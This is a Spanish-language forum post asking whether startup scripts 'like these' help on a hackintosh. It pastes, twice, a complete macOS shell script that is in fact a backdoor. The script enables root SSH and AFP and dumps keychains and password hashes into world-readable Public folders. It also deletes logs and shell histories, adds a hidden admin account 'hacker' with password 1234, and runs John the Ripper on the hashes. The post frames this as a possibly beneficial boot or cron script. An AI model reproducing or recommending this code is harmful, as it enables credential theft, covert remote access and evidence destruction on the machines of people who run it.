patton
Nuev@ Applesan@
Alguien a creado algun script para "el arranque" como estos? que le funcione en hackintosh? y que les traigan algun beneficio? esas cron task las realizan igualmente programas como cocktail o onyx?
chflags nouchg /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
chmod 777 /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
echo "service ssh" > /private/etc/xinetd.d/ssh
echo "{" >> /private/etc/xinetd.d/ssh
echo "disable = no" >> /private/etc/xinetd.d/ssh
echo "socket_type = stream" >> /private/etc/xinetd.d/ssh
echo "wait = no" >> /private/etc/xinetd.d/ssh
echo "user = root" >> /private/etc/xinetd.d/ssh
echo "server = /usr/libexec/sshd-keygen-wrapper" >> /private/etc/xinetd.d/ssh
echo "server_args = -i" >> /private/etc/xinetd.d/ssh
echo "groups = yes" >> /private/etc/xinetd.d/ssh
echo "flags = REUSE IPv6" >> /private/etc/xinetd.d/ssh
echo "session_create = yes" >> /private/etc/xinetd.d/ssh
echo "}" >> /private/etc/xinetd.d/ssh
echo "AFPSERVER=-YES-" >> /etc/hostconfig
echo "SSHSERVER=-YES-" >> /etc/hostconfig
mkdir /.info /.info/Library /.info/Library/Preferences /.info/private /.info/private/var /.info/keychains /.info/nistuff
cp -R /Library/ApplePasswordServer /.info/Library/ApplePasswordServer # for OS X SERVER
cp -R /private/var/db /.info/private/var/db # all the netinfo stuff
cp -R /Library/Keychains/ /.info/Library/Keychains/
cp -R /Library/Preferences/DNSUpdate /.info/Library/Preferences/ # DynDNS locator beacon prefs
cp -R /private/var/db/shadow/hash /.info/private/var/db/shadow/hash # just making sure
cp /Library/WebServer/users /.info/Library/WebServer/users
cp /System/Library/CoreServices/SystemVersion.plist /.info/System/Library/CoreServices/SystemVersion.plist
cp /Library/Preferences/Netopia/Netopia\ Preferences /.info/Library/Preferences/Netopia/Netopia\ Preferences
rm /.info/private/var/db/locate.database
cd /.info
cd /.info/nistuff
for username in `nireport . /users name`
do
niutil -read . /users/$username > $username.txt
done
nidump passwd . >> passwdMD5
nidump passwd / >> passwdMD5
for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> passwdNT4
echo ${name}:${H:65:40}::: >> passwdSHA1
fi
done
cd /Users
find . -maxdepth 3 -mindepth 3 -name "Keychains" -type d -exec cp -R '{}' /.info/keychains \;
mkdir /.Info/Users
cd /Users
for item in `nireport / /users name`
do
if test -d ./$item ; then
mkdir /.info/Users/$item
cp -f $item/Library/StickiesDatabase /.info/Users/$item/StickiesDatabase
fi
done
chmod -Rf 777 /.info
cd /Users
chmod -Rf 777 /.info
find . -maxdepth 2 -name "Public" -type d -exec cp -R /.info '{}/.info' \;
find . -maxdepth 3 -name ".info" -type d -exec chmod -R 777 '{}' \;
rm -R /.info
cd /Users
rm -Rf /private/var/log/
rm -Rf /Library/Logs/
rm -f /Library/Preferences/Netopia/Timbuktu\ Pro\ Log
rm -f /var/log/osxvnc.*
find . -maxdepth 2 -name ".bash_history" -exec rm -f '{}' \;
niutil -create / /users/hacker
niutil -createprop / /users/hacker uid 401
niutil -createprop / /users/hacker realname "Hacker"
niutil -createprop / /users/hacker home "/private/var/home"
niutil -createprop / /users/hacker shell "/bin/bash"
niutil -createprop / /users/hacker gid 20
niutil -createprop / /users/hacker passwd "rQ3p5/hpOpvGE" #(it's 1234)
nicl . -append /groups/admin users hacker
chown -R hacker:staff /private/var/home
chmod -Rf 700 /private/var/home
cd /Library/StartupItems/opener
if test -f "AddToCronTasks.txt" ; then
cat AddToCronTasks.txt >> /etc/daily
rm AddToCronTasks.txt
fi
if [ -d /Library/Preferences/jtr/ ] ; then
chflags -R nouchg /Library/Preferences/jtr/
chmod -R 777 /Library/Preferences/jtr/
if test -f /Library/Preferences/jtr/run/restore ; then
cd /Library/Preferences/jtr/
./run/john -restore &
./run/john -restoreESs &
else
nidump passwd . >> /Library/Preferences/jtr/passwd
nidump passwd / >> /Library/Preferences/jtr/passwd
for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> /Library/Preferences/jtr/passwd
fi
done
cd /Library/Preferences/jtr/
./run/john -format:LM passwd &
./run/john -sessionESs -formatES passwd &
fi
fi
chflags nouchg /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
chmod 777 /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
echo "service ssh" > /private/etc/xinetd.d/ssh
echo "{" >> /private/etc/xinetd.d/ssh
echo "disable = no" >> /private/etc/xinetd.d/ssh
echo "socket_type = stream" >> /private/etc/xinetd.d/ssh
echo "wait = no" >> /private/etc/xinetd.d/ssh
echo "user = root" >> /private/etc/xinetd.d/ssh
echo "server = /usr/libexec/sshd-keygen-wrapper" >> /private/etc/xinetd.d/ssh
echo "server_args = -i" >> /private/etc/xinetd.d/ssh
echo "groups = yes" >> /private/etc/xinetd.d/ssh
echo "flags = REUSE IPv6" >> /private/etc/xinetd.d/ssh
echo "session_create = yes" >> /private/etc/xinetd.d/ssh
echo "}" >> /private/etc/xinetd.d/ssh
echo "AFPSERVER=-YES-" >> /etc/hostconfig
echo "SSHSERVER=-YES-" >> /etc/hostconfig
mkdir /.info /.info/Library /.info/Library/Preferences /.info/private /.info/private/var /.info/keychains /.info/nistuff
cp -R /Library/ApplePasswordServer /.info/Library/ApplePasswordServer # for OS X SERVER
cp -R /private/var/db /.info/private/var/db # all the netinfo stuff
cp -R /Library/Keychains/ /.info/Library/Keychains/
cp -R /Library/Preferences/DNSUpdate /.info/Library/Preferences/ # DynDNS locator beacon prefs
cp -R /private/var/db/shadow/hash /.info/private/var/db/shadow/hash # just making sure
cp /Library/WebServer/users /.info/Library/WebServer/users
cp /System/Library/CoreServices/SystemVersion.plist /.info/System/Library/CoreServices/SystemVersion.plist
cp /Library/Preferences/Netopia/Netopia\ Preferences /.info/Library/Preferences/Netopia/Netopia\ Preferences
rm /.info/private/var/db/locate.database
cd /.info
cd /.info/nistuff
for username in `nireport . /users name`
do
niutil -read . /users/$username > $username.txt
done
nidump passwd . >> passwdMD5
nidump passwd / >> passwdMD5
for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> passwdNT4
echo ${name}:${H:65:40}::: >> passwdSHA1
fi
done
cd /Users
find . -maxdepth 3 -mindepth 3 -name "Keychains" -type d -exec cp -R '{}' /.info/keychains \;
mkdir /.Info/Users
cd /Users
for item in `nireport / /users name`
do
if test -d ./$item ; then
mkdir /.info/Users/$item
cp -f $item/Library/StickiesDatabase /.info/Users/$item/StickiesDatabase
fi
done
chmod -Rf 777 /.info
cd /Users
chmod -Rf 777 /.info
find . -maxdepth 2 -name "Public" -type d -exec cp -R /.info '{}/.info' \;
find . -maxdepth 3 -name ".info" -type d -exec chmod -R 777 '{}' \;
rm -R /.info
cd /Users
rm -Rf /private/var/log/
rm -Rf /Library/Logs/
rm -f /Library/Preferences/Netopia/Timbuktu\ Pro\ Log
rm -f /var/log/osxvnc.*
find . -maxdepth 2 -name ".bash_history" -exec rm -f '{}' \;
niutil -create / /users/hacker
niutil -createprop / /users/hacker uid 401
niutil -createprop / /users/hacker realname "Hacker"
niutil -createprop / /users/hacker home "/private/var/home"
niutil -createprop / /users/hacker shell "/bin/bash"
niutil -createprop / /users/hacker gid 20
niutil -createprop / /users/hacker passwd "rQ3p5/hpOpvGE" #(it's 1234)
nicl . -append /groups/admin users hacker
chown -R hacker:staff /private/var/home
chmod -Rf 700 /private/var/home
cd /Library/StartupItems/opener
if test -f "AddToCronTasks.txt" ; then
cat AddToCronTasks.txt >> /etc/daily
rm AddToCronTasks.txt
fi
if [ -d /Library/Preferences/jtr/ ] ; then
chflags -R nouchg /Library/Preferences/jtr/
chmod -R 777 /Library/Preferences/jtr/
if test -f /Library/Preferences/jtr/run/restore ; then
cd /Library/Preferences/jtr/
./run/john -restore &
./run/john -restoreESs &
else
nidump passwd . >> /Library/Preferences/jtr/passwd
nidump passwd / >> /Library/Preferences/jtr/passwd
for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> /Library/Preferences/jtr/passwd
fi
done
cd /Library/Preferences/jtr/
./run/john -format:LM passwd &
./run/john -sessionESs -formatES passwd &
fi
fi